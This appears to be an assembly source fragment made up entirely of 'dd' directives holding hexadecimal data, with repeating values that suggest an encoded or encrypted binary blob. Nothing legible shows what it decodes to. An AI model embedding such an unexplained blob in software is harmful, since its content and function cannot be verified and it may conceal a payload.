dd 0DACA1375h, 71C7C599h, 8956AC00h, 0B520AB00h, 43B79C07h
dd 0E8340FF2h, 99D390A0h, 0B1711375h, 2222FD06h, 0AD1F1566h
dd 0D6E3681Fh, 116AE25Bh, 10F4118Dh, 49CE9323h, 8832138Eh
dd 716D9866h, 2D99030Dh, 7068DED1h, 2200F40Eh, 0C554758Ch
dd 4383ADB9h, 258CAF06h, 57B25F53h, 0F1CD7435h, 2421040Bh
dd 113E9B69h, 0F3D1566h, 44321560h, 22329569h, 963D1566h
dd 8832156Eh, 44309C69h, 43521566h, 2B9F90EBh, 0F3D1375h
dd 44321567h, 0DAE2EA93h, 855B90EFh, 84DB137Ch, 15321566h
dd 0ABD108E0h, 0E760B0B6h, 4EE9A013h, 5723F4E3h, 4ACE5660h
dd 95C3B951h, 3547593h, 0B88873B8h, 97CD746Ch, 1721040Bh
dd 88269669h, 4BDB1566h, 8C321566h, 0BCE73E57h, 88B708EEh
dd 94710577h, 445279B9h, 0A43825DCh, 0DBF74EAh, 42212FCBh
dd 0F2CDEC9Fh, 7CB79C9Eh, 87340FF2h, 443214EAh, 0A352E066h
dd 6AD770A1h, 8837FD32h, 75EE1566h, 7401E16Fh, 0D7534E38h
dd 9B23F4E3h, 2CCB5A60h, 0B50785B2h, 1132068Fh, 76B4F566h
dd 978111A0h, 7BCAFBAh, 7B8A3C38h, 0DB2838B7h, 555FA099h
dd 75521375h, 70694A31h, 0B29F90EBh, 0BBCA1375h, 0A7BBE9B6h
dd 17288117h, 88339469h, 82C71566h, 3123F4E3h, 77525A60h
dd 0EEF245DCh, 25840ED8h, 4C3C170Eh, 0AA54759Fh, 0F3DE695h
dd 44321566h, 4F87EA07h, 1E340677h, 883218E9h, 443AFC66h
dd 207E1566h, 152DABD0h, 0DBF1A1Ch, 42212FCBh, 21B91A06h
dd 91321566h, 46B9C9BBh, 9FB37507h, 2A158064h, 0EE53E7EDh
dd 35475B6h, 25CC9E9Dh, 0B64790EFh, 0D7CA137Ch, 9B23F4E3h
dd 4ADB5860h, 60321566h, 3DA3571Eh, 62382192h, 0F53A5F7Ch
dd 5B7B7DC8h, 9E3DDD51h, 8832156Eh, 44309069h, 43521566h
dd 5FA099h, 0C3D1375h, 4432156Fh, 447AA406h, 0AA10C6E7h
dd 25B79807h, 4B34065Ch, 223214EBh, 0C1CDE966h, 6CC39406h
dd 0B868776Dh, 5FB79C07h, 71340FF2h, 0F3833EDCh, 41DB4753h
dd 8B321566h, 3C5DF15Dh, 0DF47438h, 42210487h, 0E68A752Bh
dd 1E7B8AFDh, 0E053EBD9h, 98C558EFh, 223A9869h, 953D1566h
dd 88321564h, 0F1CD7406h, 2421040Bh, 113E9169h, 43D1566h
dd 44321560h, 22329C69h, 94BF1566h, 8E212FCBh, 4432138Fh
dd 9DF69A66h, 0EE72D4EAh, 883CFCB6h, 0A4631566h, 81E0BF35h
dd 9E9280D9h, 655C021Bh, 44321B8Fh, 0BF941866h, 0E8FA4DF2h
dd 0D0458144h, 0CDA429B3h, 38A66CE3h, 94F4E960h, 8E210487h
dd 735AE933h, 0CBAE0E4Bh, 11321572h, 666EACB3h, 0FDDA89BCh
dd 3C79FC0Fh, 9FA1A8FEh, 0B8C472BAh, 555FA099h, 2D521375h
dd 7761DDD9h, 0E96DDAEDh, 7E9F90EBh, 0A13D1375h, 11321570h
dd 8832048Fh, 0BB613666h, 0CD3D4C9Bh, 35D920B9h, 9AF26373h
dd 94CDE25Dh, 710AB06h, 0A63D104Ch, 0DBB74A1h, 422881E7h
dd 2238FC06h, 0F7E31566h, 0FE858F56h, 0E8460054h, 0CCABC3E7h
dd 0F853403Fh, 88321575h, 3996579Bh, 0CC5ECE08h, 90EEC54Ch
dd 0E296D4EEh, 823402E3h, 3123F4E3h, 17DB5660h, 57321566h
dd 92F91F91h, 0D2187DE7h, 0AE52C7B3h, 0B1192F90h, 0BB53AAD2h
dd 312378D3h, 94BFEC60h, 8E212FCBh, 0CAFFAD06h, 33DB4AC7h
dd 0E1321566h, 631A0CBh, 1E2B1CAAh, 85591158h, 0C316741h
dd 61E2EA07h, 44321560h, 61806351h, 94BB885Ch, 8E2881E3h
dd 0A5B7D39Eh, 70340677h, 14B01A06h, 0EE321566h, 5023F2E7h
dd 2232068Eh, 0B885D666h, 49D14066h, 2B19760Bh, 0C886466Ch
dd 651E04E2h, 0ACACAA00h, 0AE5A7439h, 0CBCF57D2h, 11321563h
dd 4944E140h, 2987EAECh, 2D340677h, 113219E2h, 8EB81A66h
dd 4B321566h, 223215ECh, 9E3D7566h, 88321568h, 44321C8Fh
dd 0CF6B6E66h, 74A22F7Ah, 4AB9B56Fh, 0E9B79807h, 4234065Ch
dd 43C79537h, 0D8D733Fh, 4BDB7437h, 5B321566h, 8E771085h
dd 0DCF38D34h, 22144753h, 0F2CDB73Fh, 113D9769h, 82DB1566h
dd 63321566h, 306A3B96h, 66C48185h, 0E9B79CFCh, 24340668h
dd 43EA9400h, 0C3851A47h, 87CA7507h, 443215E3h, 0A7F47466h
dd 17210487h, 115AE021h, 0BCD08D3Fh, 335FA099h, 77521375h
dd 8C45CDE7h, 4432078Fh, 34CF3F66h, 9CF85EE3h, 43B6410Ch
dd 61E4929Eh, 437DFEB0h, 2B9F90EBh, 77CA1375h, 0FD6375B6h
dd 622597EBh, 0A2B1AA38h, 1530AF5h, 5EA69CE3h, 2D527560h
dd 113215E9h, 0E9F99E66h, 0A5B7D307h, 65340677h, 48657506h
dd 7053CAEDh, 24F07D07h, 0A23DA49Bh, 11321567h, 0E587EA9Ah
dd 0BC340677h, 8FB7989Eh, 0E934065Ch, 0EE52C599h, 4B1CDBDCh
dd 223216E7h, 0DE8D1A66h, 5B79C07h, 24340FF2h, 0C3B7D307h
dd 56340677h, 88321B8Fh, 81479366h, 1A6F5F97h, 0F2C47DEAh
dd 0E0B375BEh, 9B94EB72h, 0CAB37306h, 0A854DE94h, 7753F13Fh
dd 572378D3h, 223BFC60h, 97A01566h, 0AD56767Eh, 0C9CFC92Ah
dd 3108B8E3h, 0C1CDE060h, 88379969h, 4B521566h, 0AB53D5D9h
dd 0BA684E3h, 82DB7560h, 0DC321566h, 0E52DE23Ch, 3672E61Ah
dd 883CFDD3h, 0E3D81566h, 45FA332Ah, 7048EBB4h, 4ECD83EFh
dd 1F1CC3E6h, 0C3B7D307h, 4E340677h, 7FDC9406h, 255DB72Eh
dd 72C07D0Eh, 0A4CDE0F8h, 8E21040Bh, 44321D8Fh, 21698766h
dd 0FC385CB2h, 25B798E9h, 2434065Ch, 0F2CD7493h, 113A9269h
dd 0C3D1566h, 44321564h, 0A7BB7406h, 172881F3h, 8832068Fh
dd 3A778F66h, 2AC15153h, 7316B726h, 81E868DEh, 42E9ED09h
dd 33D390A0h, 1E7D1375h, 883201ECh, 443DFC66h, 73471566h
dd 6C88D032h, 876C46B2h, 7CDFA87Ch, 590D7D5Ah, 9B3DD29Ah
dd 88321567h, 2987EA9Eh, 42340677h, 0D7B3DFEDh, 0B5567C87h
dd 0E9B79807h, 2D34065Ch, 113205E2h, 8839FC66h, 0D92C1566h
dd 0D71820FAh, 0CDFE46E4h, 61E2EA1Bh, 4432156Fh, 4F32446Fh
dd 24AB0D0Ah, 49B79C63h, 0AD340FF2h, 2232156Fh, 327784CBh
dd 0CB7097CCh, 0C1F4E06Ch, 24210487h, 1137FC21h, 0B6131566h
dd 0AD1B5D67h, 2232156Ah, 79583C76h, 0DF45BCD2h, 0C73C2D6h
dd 795C590Eh, 948B759Ch, 876BC82Ah, 443215EDh, 97CD7466h
dd 1721040Bh, 8832078Fh, 8F5BAE66h, 0EE258E89h, 69351DA6h
dd 51305437h, 0C9886B16h, 3108B8E3h, 90527560h, 0DCA5B6BFh
dd 0BCB97303h, 0F2CD7407h, 1132128Fh, 3F56F066h, 18AC5C76h
dd 0B6F790EFh, 1EDB137Ch, 0C2321566h, 0ADD1A84Eh, 130ABD5Bh
dd 7A074AEBh, 0DF4BE70h, 42210487h, 28B21A21h, 71321566h
dd 88329369h, 25521566h, 6FF7D07h, 0EECED660h, 9B2378D3h
dd 0C1BFEC60h, 24212FCBh, 0DBB87593h, 0E990F3E6h, 0C43DC599h
dd 22321567h, 0D8B79C93h, 7D340FF2h, 44369669h, 0DE521566h
dd 94F4749Ah, 8E210487h, 0F33D7539h, 43D89FB4h, 0AA52D90Eh
dd 3DCDE9B2h, 4221040Bh, 8FB7989Eh, 0E434065Ch, 53DC599h
dd 44321561h, 22339769h, 98CE1566h, 92A68CE3h, 0C1F4ED60h
dd 24210487h, 1122FC39h, 70AD1566h, 2FE91E0Dh, 1347BF2Ah
dd 0BC6D6026h, 0C65A2B1Ch, 0ADACFC32h, 22321577h, 4572DFA2h
dd 9BE8EA1Ch, 0F5ADAFC9h, 8902C8DDh, 7C87EA4Eh, 71340677h
dd 7E9F90EBh, 0DDCA1375h, 1121FCB6h, 6921566h, 0A6AB1A55h
dd 0D8D35ECCh, 0EBF598CFh
dd 0BC768D39h, 0D9B79CBCh, 0DA340FF2h, 0D390A0h, 876D1375h
dd 44321DE1h, 20B01A66h, 71321566h, 0A07A7D07h, 4EDBC475h
dd 45321566h, 979C9C8Fh, 6516964Ah, 2987EA9Fh, 0DB340677h
dd 2B9F90EBh, 0E8521375h, 4FDB7493h, 21321566h, 0E8A6E927h
dd 479ECC70h, 0BB535E88h, 2220FCB6h, 48F71566h, 1CAE53A1h
dd 4E27C53Fh, 3E9B1E87h, 0E5E5D830h, 1C9390EFh, 4B52137Ch
dd 223213E1h, 11BD1A66h, 0E9321566h, 2CCE110Ch, 22320566h
dd 1327D93h, 87521566h, 9AB9EFD9h, 0DB327F07h, 0C9B8099h
dd 43D1375h, 44321573h, 223D9C69h, 1BDB1566h, 36321566h
dd 828E716Ah, 0BCE9E5DCh, 0CB79C58h, 0E8340670h, 44349A69h
dd 0A33D1566h, 11321566h, 0E9E49E00h, 3BEF90EBh, 0DDC7137Ch
dd 3BE1AB6h, 61321566h, 4432156Bh, 172206F3h, 0EA528720h
dd 64B1219Dh, 0BD367FC6h, 2222150Eh, 115AED66h, 87321546h
dd 44321FEDh, 0C3B27566h, 0DEB37309h, 0E253B2FCh, 0D1CDEC66h
dd 242108CFh, 15B61A06h, 0EE321566h, 0C480ECD8h, 2D5308BBh
dd 113214EBh, 0DBBED66h, 42210B93h, 22321A8Fh, 0D7EF066h
dd 622DF1CDh, 39B20D3Bh, 0D6A579B4h, 1F8B90EFh, 0C3D1375h
dd 4432157Fh, 2232018Fh, 0AEAE8A66h, 0FB0EF572h, 3651ABD4h
dd 0D25D1C1h, 0CD066387h, 0E8727FA3h, 0B7F4CDDCh, 0FB851A7Eh
dd 1327D07h, 61521566h, 44321574h, 5DCAC669h, 6847775Dh
dd 5375F7C2h, 0C61148F1h, 2BDA0BA7h, 46321566h, 0B4B2C461h
dd 165E6AF5h, 4A534E9Fh, 11331566h, 88339569h, 2ECE1566h
dd 70C77566h, 84CD743Ch, 8E2108CFh, 4432108Fh, 8F722C66h
dd 1ADB05E3h, 57321566h, 5C125F44h, 7FF6708Bh, 94BBBEE4h
dd 8E211977h, 0FB547506h, 44537295h, 9A53DFEDh, 9B2D24D3h
dd 4422FC60h, 0BA2E1566h, 28DA43Dh, 31950804h, 466A6B78h
dd 0BFB9152Ch, 1721052Fh, 1879C9Fh, 2434067Fh, 0EA685ADFh
dd 8CBB745Dh, 8E2103F7h, 442A9C69h, 2D521566h, 113215E8h
dd 8839FC66h, 807A1566h, 3B03D9F0h, 3DCDE9D4h, 15B9740Ch
dd 4221052Fh, 24B81A06h, 1E321566h, 883215E3h, 4422FC66h
dd 0FDD11566h, 1C4807FFh, 0FABBF00Fh, 0D9920603h, 0DA5321D8h
dd 1130120Eh, 0AC269C66h, 443215DCh, 0A9E81466h, 77524F6Ch
dd 0F44CF7E7h, 22537506h, 503DDAE7h, 9C3D7407h, 8832156Ah
dd 44349A69h, 0A23D1566h, 11321566h, 8732ECE5h, 4405BEE2h
dd 0E1B97566h, 6719AB00h, 6FBB4207h, 4436D2E7h, 0CDB11566h
dd 350E9262h, 0AC369C3Ah, 4438FD06h, 88AA1566h, 0FC94C8CFh
dd 444B9815h, 4BDB4A93h, 7E321566h, 4E938417h, 0A56DE05Fh
dd 129EDF6Eh, 7553E67Bh, 0D6B3F2EFh, 88321562h, 0C336FAE5h
dd 0AB6E315Ah, 963D316Ah, 88321567h, 0C452759Eh, 2EDBFBA6h
dd 55321566h, 0FE9401D3h, 0D9807535h, 43E5602Eh, 98C7D557h
dd 9B19D0E3h, 0FC62EC60h, 2232155Ah, 15B9D3EFh, 8CF69442h
dd 0AD321566h, 22321569h, 0E5197F8Ch, 0A1C00943h, 0A3DFC7C2h
dd 0A38C3048h, 0DC4BC6A0h, 0CADC946Eh, 474E5A5Eh, 0A3123112h
dd 5E0A57A0h, 5BDC941Ah, 4B3AD81Fh, 22321BEEh, 113BFC66h
dd 98E71566h, 0C51452A1h, 4450E1D4h, 0AA61ECCBh, 0DE665A5Bh
dd 4769CD4Fh, 27123122h, 47665A5Bh, 37D79F06h, 6912142Bh
dd 5A894607h, 10321566h, 3019EA5h, 80B3317Ah, 22321562h
dd 11339569h, 9CE1566h, 0A1760DA0h, 28F4940Eh, 1255EF37h
dd 9123112h, 0BE631F88h, 3ADC9401h, 1E5AF022h, 883214EEh
dd 0FC62EC66h, 2232157Eh, 76DB063h, 0A5C2147Ch, 5E244AC3h
dd 0DA6A2DEDh, 1633A8EFh, 87521375h, 443213E3h, 22B11A66h
dd 0E4321566h, 87CD9007h, 443221E3h, 9CDAE066h, 1E321538h
dd 883219E9h, 42BC1A66h, 2D321566h, 113215ECh, 8C8DFC66h
dd 56DB1566h, 0CC321566h, 0A32BA1Fh, 0D0D3AC56h, 533730E9h
dd 67C61EE0h, 20967D4Eh, 84BB1566h, 4DBC1A42h, 42321566h
dd 77F09E00h, 0E9DFB9DEh, 4432E00Eh, 60E9C66h, 0C359ED3Ch
dd 93B31A62h, 4B321566h, 223200EDh, 1122FC66h, 7ECE1566h
dd 0EEF64989h, 8C75EA7Bh, 3E646B92h, 1DBB4F10h, 42211043h
dd 22339B69h, 7BCE1566h, 8826FC62h, 62861566h, 8900F146h
dd 1EFA4B44h, 0CBDD1682h, 0CCE46507h, 225A23FAh, 1E321576h
dd 883205E3h, 43DB7566h, 51321566h, 0F11F320Eh, 0E952FB39h
dd 0A2BB4307h, 2236D3E7h, 0FFB11566h, 0AC069262h, 60269C3Ah
dd 0CB327F9Fh, 11321576h, 8DD9A174h, 7D1BA4FBh, 7FC17229h
dd 56346CC1h, 959B8099h, 54DB1375h, 2F321566h, 5516B906h
dd 86D8B366h, 0F9AB05C1h, 0AB9B09CCh, 23F3CE3h, 952E060h
dd 1D297BA5h, 41E99457h, 701101DFh, 88294E0Eh, 60369C66h
dd 0BB1621E7h, 4B1A331Fh, 0F1ABE7E7h, 55DB3D40h, 30321566h
dd 5AFC7539h, 40521C43h, 0CE183D77h, 0F21B33B9h, 461619EDh
dd 4FB3F2EFh, 44321562h, 0A536D2E5h, 716E315Ah, 6E1DAB00h
dd 44349F69h, 0A93D1566h, 11321566h, 8837FC07h, 3D5D1566h
dd 0CA1DC298h, 1132482Bh, 883C9D69h, 4DDB1566h, 10321566h
dd 767C900Dh, 0BB44A2Eh, 44361F0Eh, 6069C66h, 1EB81A06h
dd 61321566h, 4432156Ch, 576F9CE0h, 0A014A2ACh, 25531CFAh
dd 44339769h, 75CB1566h, 0F17838D9h, 0D7CA1459h, 60165165h
dd 0C278384Bh, 19B11A59h, 87321566h, 443217EFh, 0A1537566h
dd 15BB118Ah, 0D76A4242h, 443DFD06h, 9ED11566h, 88E238B1h
dd 82EED69Bh, 112E03C4h, 2234FC41h, 35441566h, 7E5D5290h
dd 46B51A38h, 0A9321566h, 4264749Eh, 56BBEEEFh, 1AC19C3Dh
dd 0C2BB459Fh, 11321163h, 8CDA9666h, 181611E1h, 0CB1629EFh
dd 11321561h, 2F0DD680h, 244C81EDh, 2DF22507h, 113202EEh
dd 7C817566h, 44321B8Fh, 7322BA66h, 12C68C4Fh, 0B15E0919h
dd 251E2C52h, 42CF60C8h, 11BE1A9Fh, 0E9321566h, 6006EA93h
dd 26F69438h, 1E321566h, 883214E4h, 83B3E966h, 487608A9h
dd 636CFAE7h, 571B16B5h, 366CD2E7h, 0CDB316B5h, 7B7608A9h
dd 88369369h, 14521566h, 0E85A743Eh, 98321551h, 0D9C73172h
dd 8EBBECEFh, 0A31619EDh, 113211A2h, 8826FC66h, 89E41566h
dd 45633331h, 0F77A0DF3h, 9F8EB66Fh, 0FF524791h, 9FB92934h
dd 1721037Bh, 77CDAC9Eh, 4DDBEA99h, 1D321566h, 0D24AEC28h
dd 8E10160Fh, 2252D557h, 43CBE5EDh, 1132AE35h, 7B331566h
dd 4432AC37h, 0FB331566h, 4A6B14ECh, 88321C8Fh, 516E7B66h
dd 48119018h, 0D90216CCh, 59851A06h, 0FC62749Fh, 22321567h
dd 0E86AD367h, 3B52199h, 80B13162h, 0CB527562h, 1132156Ch
dd 0A93BD137h, 1DAEF473h, 1483B5AEh, 0F8F37407h, 4903E96Eh
dd 44321E8Fh, 0E7EE2166h, 0F9EE7C14h, 0C953179Fh, 0CDB71A2Ch
dd 0DBCDEA99h, 35369E37h, 8836D1E7h, 14CA1566h, 0D5684D34h
dd 1E5287B4h, 883203EEh, 4423FC66h, 0D9741566h, 0E140F737h
dd 41D95DE5h, 0ABFDA6C6h, 0A8E71A79h, 5B97488h, 6ABB4742h
dd 4436D7E7h, 0E0B11566h, 35269262h, 80DBED3Ah, 53321566h
dd 4564B312h, 79B7E7E6h, 88326A36h, 0CB1611EFh, 9A62ED64h
dd 11321562h, 0C2EEFFE7h, 86330265h, 68EED7E7h, 1E6A0265h
dd 883200E5h, 0F98B7566h, 0CA74EF8Eh, 1132156Eh, 0FEE8DD45h
dd 9B8AB139h, 0AA5A743Eh, 98321510h, 0A3D3172h, 4432156Fh
dd 22BD1A06h, 0ED321566h
dd 4DB7EA07h, 0AD34064Dh, 22321575h, 0EC8659FBh, 0C58D9E56h
dd 89CF1E93h, 34F85F8Ah, 0E9D4DAD2h, 0A3F780EDh, 7DCA1375h
dd 313514F3h, 63B61A60h, 7D321566h, 171601EDh, 0E1B3F6EFh
dd 11321562h, 0F36D6E5h, 4B6E317Ah, 223214E3h, 25CDEC66h
dd 4CB34B42h, 44321562h, 22321B8Fh, 0FA3B2B66h, 0FDD8B29Eh
dd 3DEEBD17h, 7319303Bh, 113211DFh, 96DC9466h, 453A8420h
dd 3CF494A8h, 483A8420h, 738D1A06h, 3E24AE00h, 0DF34FC07h
dd 9A3DEA99h, 88321577h, 4432198Fh, 0D79A8566h, 9170149Eh
dd 0B20D3561h, 6006EAB7h, 26F6943Ch, 0F8321566h, 88321575h
dd 0E0B7ACAAh, 0BB512EC8h, 0FCDE4B78h, 55E910F7h, 0BBF65BF6h
dd 0A36C3152h, 113211A2h, 86BE1A66h, 24321566h, 22329A69h
dd 9C3D1566h, 88321566h, 0CC3D7407h, 2232156Ch, 52E59406h
dd 0D935A4A3h, 70CD743Dh, 0E6B14C42h, 1CB31A62h, 0E8321566h
dd 57D19400h, 6D894DEh, 705A5DE6h, 88339769h, 0CFC71566h
dd 0AB653162h, 15F59481h, 0B321566h, 78B511A1h, 0E5CB4942h
dd 233B0E3h, 88321560h, 0C1F5EC66h, 242131AFh, 11321566h
dd 88321B8Fh, 9459AA66h, 18FCF4B1h, 1E99701Ch, 0B7178C7h
dd 5EA61CDBh, 0A63D1560h, 11321549h, 883E9A69h, 0CB3D1566h
dd 22321560h, 11329B69h, 15BF1566h, 422B8CA9h, 2232138Fh
dd 8589B766h, 70F49908h, 0F452C699h, 0D2B373F1h, 0EE536D6Fh
dd 9B3714E3h, 82B37560h, 58E605B2h, 1132108Fh, 3C2AB466h
dd 0C7534A7Fh, 313714DBh, 933D7160h, 88321701h, 45B7D29Fh
dd 23340663h, 0F8321566h, 88321560h, 0C6F6E19Ah, 0CB52A62Ah
dd 1132156Ch, 5BA5B4BFh, 8805D226h, 0AC3DA006h, 11321567h
dd 58B7989Ah, 0AD340F1Eh, 22321574h, 33413930h, 0DBB68970h
dd 0E1419028h, 0BD8C23F5h, 0C1CD0D33h, 8832058Fh, 0C8AF5B66h
dd 0EAB5EF39h, 0CF734068h, 4664705h, 4421FC22h, 5D981566h
dd 214BCC9Bh, 0B7392A51h, 2DB584D9h, 0C69DAB9h, 0C88798F7h
dd 0E8340FF2h, 44321C8Fh, 0B0E2D566h, 36AC777Ch, 553B1D5h
dd 5F2F48DBh, 0EAB37560h, 3AEFE474h, 0E9EAAA69h, 4432108Fh
dd 414D6566h, 0D6B3961Bh, 0A76453C9h, 6AFBD2E7h, 0D51B29DEh
dd 3FFBFAE7h, 67B329DEh, 6B6453C9h, 223AFD06h, 0C9A81566h
dd 0A1B9DFF7h, 0F78D6E25h, 7D44E7AFh, 0E9BB4507h, 1F39C37h
dd 246A4CACh, 7BB5C7E7h, 70CA5210h, 9E2FA8EDh, 22521375h
dd 0F5B3D4EDh, 42627F34h, 77CDAC07h, 75C7EA99h, 9860EDA6h
dd 11321566h, 0E1C3D7E7h, 0B6334907h, 4BC3FFE7h, 13B84907h
dd 4002E93Ch, 0FAC19406h, 0CA7C4307h, 1132156Ch, 272A673Ch
dd 1DA5620Fh, 2BDA9EA7h, 3E321566h, 84D251E2h, 6005080h
dd 73534E3Ch, 0EECDEADFh, 0D1FC3C99h, 0C306EA9Eh, 0A11611EDh
dd 9C3D11A2h, 88321571h, 443CFC06h, 0D7E21566h, 2A06E656h
dd 0FD3300A7h, 4CD7BB00h, 0E353D3EDh, 0F9521D8Fh, 8832156Eh
dd 74F0CE52h, 4507A600h, 488FDCE6h, 61F32407h, 44321569h
dd 0D8F598CFh, 25768D39h, 40AEAFBCh, 0E06E5EBh, 0DD6B9069h
dd 43C7EA99h, 0D060DFEFh, 45B61A3Ch, 0DA321566h, 11385B0Eh
dd 0AC369C66h, 1C160191h, 2232188Fh, 0BFC6CB66h, 32A49FADh
dd 16613D46h, 0A70BD8C2h, 17210023h, 884F9169h, 12CA1566h
dd 2E2C2CD8h, 0FDDC947Eh, 964CE03h, 5F6BA388h, 0A3E4E208h
dd 7EB2F688h, 7EB35B25h, 0E7539C4h, 35B9E3E7h, 0C7C57471h
dd 6C60E3E7h, 0B4BBA8B2h, 29CEE938h, 3EB71AA6h, 61321566h
dd 44321572h, 57A7F7D4h, 0C569D8F4h, 286BD1C7h, 14DF50C5h
dd 3440D5F0h, 2BB90A1h, 88331375h, 0FA521566h, 6AFD654Fh
dd 0D38D1A30h, 4F5A743Dh, 0CD321505h, 988D315Ah, 1032243Fh
dd 0E9CE4A9Fh, 44339269h, 4ACA1566h, 11327044h, 321601EFh
dd 3D060F6Fh, 0CB68C4EFh, 1132156Bh, 26194169h, 0EFE145B6h
dd 0C6C856Bh, 51677D38h, 84BB1566h, 0BB79AC42h, 0E8BB3E6Ch
dd 16B21A3Fh, 87321566h, 443214E5h, 4452E066h, 0AD99D2E7h
dd 0E927E0E6h, 5CBE1ACBh, 2D321566h, 113207EEh, 883FFC66h
dd 212A1566h, 1FB53067h, 110E0A40h, 1BA5508h, 572B9CD3h
dd 953D7560h, 328C73A0h, 8DDB740Eh, 47321566h, 2CC408CDh
dd 86BAE35h, 43B30EF8h, 162C09E0h, 23AAD6E7h, 0F2B37D22h
dd 9E5E55E9h, 4435E6E7h, 7CBB1706h, 352E9E9Ah, 8736D1E5h
dd 443214E5h, 0CC0FE066h, 1EDCFB88h, 8832DDE3h, 0FA527566h
dd 56191F55h, 70524207h, 9CE7438h, 99EFC858h, 8CB71ABBh
dd 1E321566h, 883214E8h, 2C65E066h, 3C7B2D4Ah, 901629EDh
dd 883211A2h, 41DDD466h, 0D5B3C291h, 642F099Bh, 0DD0FD2E7h
dd 7ABB6089h, 34BF1A39h, 71321566h, 8832188Fh, 0A4F67766h
dd 77C0A5EAh, 0D317AFBBh, 0D763BD6Ch, 408B4407h, 0A3321566h
dd 709E488h, 9FC1407h, 5209E4A0h, 44524C07h, 91B222DEh
dd 153F4B7h, 572B9CD3h, 2BDB7560h, 88321566h, 857B844Fh
dd 0BCBC82D0h, 22BB1A06h, 91321566h, 0E953658Ch, 6F87FC9Eh
dd 33DB1566h, 0A3321566h, 0D7042777h, 3486B402h, 0E53D34A5h
dd 6AC3118Ah, 77CC938Fh, 46B51A99h, 42321566h, 0D0BB4407h
dd 616B4E37h, 4432156Ch, 0B9586F97h, 0B0B14266h, 87DB177Fh
dd 45321566h, 0AF3F433Ah, 0B0C11E05h, 95DC9C4Fh, 0C1016A7Dh
dd 242106EFh, 0F25CAD06h, 49530CE9h, 41CB16AEh, 66A6735Dh
dd 0AE65C54Fh, 0CCA6735Dh, 246DED4Fh, 92C39400h, 70FD9E9Ah
dd 8722D5A7h, 443214E7h, 0EA03EC66h, 98AF9C9Eh, 61340675h
dd 4432156Ch, 3E0012C4h, 8BDBB3F7h, 880FEDA0h, 4B321466h
dd 22334DE5h, 1135FC66h, 65C91566h, 0B0F0A2D0h, 990C9494h
dd 1E89AEDDh, 883355E3h, 5CB31A66h, 42321566h, 2A1C04DEh
dd 8839FD3Ah, 33C21566h, 18A76C02h, 454E8F99h, 0D9534E60h
dd 233DAD36h, 0FAC52B28h, 1C34FDA7h, 0B4F83657h, 752A9863h
dd 7AF39CA6h, 0E96B1BEFh, 94894633h, 0B335CB0Dh, 0E37156BDh
dd 0D2B31D85h, 56590F62h, 4569C8EFh, 9C524888h, 58A3416Fh
dd 0FE99C4E7h, 0CD534C22h, 312B9CD3h, 90547560h, 871DEB6h
dd 0CF53BC94h, 31225CFBh, 22CDE060h, 0B1619EDh, 4CDB11A2h
dd 0F2321566h, 154FFF59h, 7D6B2806h, 60269E36h, 2236D1E7h
dd 0A9521566h, 0B8E38D91h, 0B852E907h, 0F4BB4333h, 986CE0EFh
dd 0A3CB488Eh, 572FA4E3h, 23BF1A60h, 0E8321566h, 7D30F5A7h
dd 5D679065h, 28DB1375h, 9F321566h, 1BFF4F28h, 3685F3F8h
dd 7A644515h, 921621EDh, 0EE5211A2h, 4B1103DEh, 22321AE5h
dd 1138FC66h, 0C7C61566h, 4F6D360Eh, 741E9E79h, 0F852B807h
dd 88321560h, 126975Ah, 0A95430EEh, 441F74A9h, 8D20293Eh
dd 37EB390Fh, 4B1FDD67h, 1441CC4Ah, 9A0E4D33h, 44339669h
dd 0ABCA1566h, 0E92E3122h, 2DDBEC07h, 24321564h, 1969F7E7h
dd 0DEB36E88h, 0BE139084h, 9997D07h, 2EBB1566h, 9861E942h
dd 8CF19485h, 0C7321566h, 3EB5118Dh, 5BB4942h, 0EE627542h
dd 256DE4EDh, 0A9CBDC57h, 23F3CF3h, 89B51A60h, 0B1321566h
dd 2220FC06h, 37E11566h, 0A48D31A3h, 0EB52934Ch, 710D5A67h
dd 0FDA25EFDh, 0E9E1D9E6h, 0C03D175Dh, 223215C0h, 11209369h
dd 85DB1566h, 0BF321566h, 1EFB1A85h, 1B3144ECh, 78DEA609h
dd 908B7306h, 43EA9E7Dh, 1136AA31h, 4AB31566h, 52B850CAh
dd 0C8B3EF67h, 7B850CAh
dd 9BBA1A39h, 0AD321566h, 22321568h, 1DB92AD1h, 6945F645h
dd 0B4E34208h, 9F67964Eh, 11321567h, 7D6FFC67h, 4333985Dh
dd 0A73D1375h, 0EECDEAF2h, 88339169h, 24CE1566h, 8535AE00h
dd 0DCE302DCh, 0CB8A740Bh, 1157972Eh, 0B841EEDBh, 4CDA3402h
dd 4074404Bh, 71EAE258h, 582A41AAh, 0B09F3763h, 89B11A39h
dd 0BC321566h, 6DBF98EBh, 0EEC71375h, 5BBE087h, 42213EA3h
dd 0D3851A06h, 35269E07h, 9D39C37h, 443211A7h, 26F39466h
dd 96321566h, 706E316Ah, 111619EDh, 0E7B3F0EFh, 11321562h
dd 0F36D0E5h, 4B6E314Ah, 22320FEDh, 5B81A66h, 61321566h
dd 44321569h, 0D35A18F5h, 4E3CC771h, 0C77EEB2Ah, 0BC1D8D36h
dd 2221470Eh, 35069C66h, 29897306h, 4426FCB3h, 0B8C51566h
dd 90BAD4E2h, 0FE9658DAh, 51299657h, 0C899AF45h, 0E8537637h
dd 987B88EDh, 0AD521375h, 22321560h, 0BEB456B8h, 0D853B3B1h
dd 443215DEh, 0DDEA1466h, 351E9456h, 0CA6321CBh, 0E9F3943Fh
dd 7A704452h, 113A9269h, 63D1566h, 44321564h, 0A7B97406h
dd 17213EA3h, 8832128Fh, 0F81DE966h, 84D20B85h, 17DBF5B7h
dd 65321566h, 3587FE22h, 0F3B7168Eh, 1E340662h, 883212E2h
dd 45BE1A66h, 0DA321566h, 0F8C4249Eh, 88321561h, 1F97BE8Dh
dd 722CAF2Ah, 9836F9E5h, 0D66A3152h, 442B9569h, 36DB1566h
dd 0FB321566h, 0A2A77CBBh, 0A18183B3h, 0FCBACD1Dh, 9EDEF582h
dd 87CE9F6Fh, 443214E6h, 8F54EC66h, 13D2D49Fh, 883D9769h
dd 4EDB1566h, 21321566h, 16342C98h, 4183A8F0h, 11B71658h
dd 4234067Fh, 0A75209D7h, 6AB373ACh, 25538CD6h, 0E403E557h
dd 0BCC7E557h, 8832018Fh, 0C7AF5A66h, 2EAE0B41h, 0BCB80504h
dd 518776D1h, 172D76E7h, 768C439Dh, 1036395Bh, 40334B96h
dd 680F414Bh, 16CDED62h, 0D5B14B42h, 5FB97562h, 5F4AAB37h
dd 436D02A8h, 0B47A8E5h, 87331375h, 4432C0E2h, 3AB21A66h
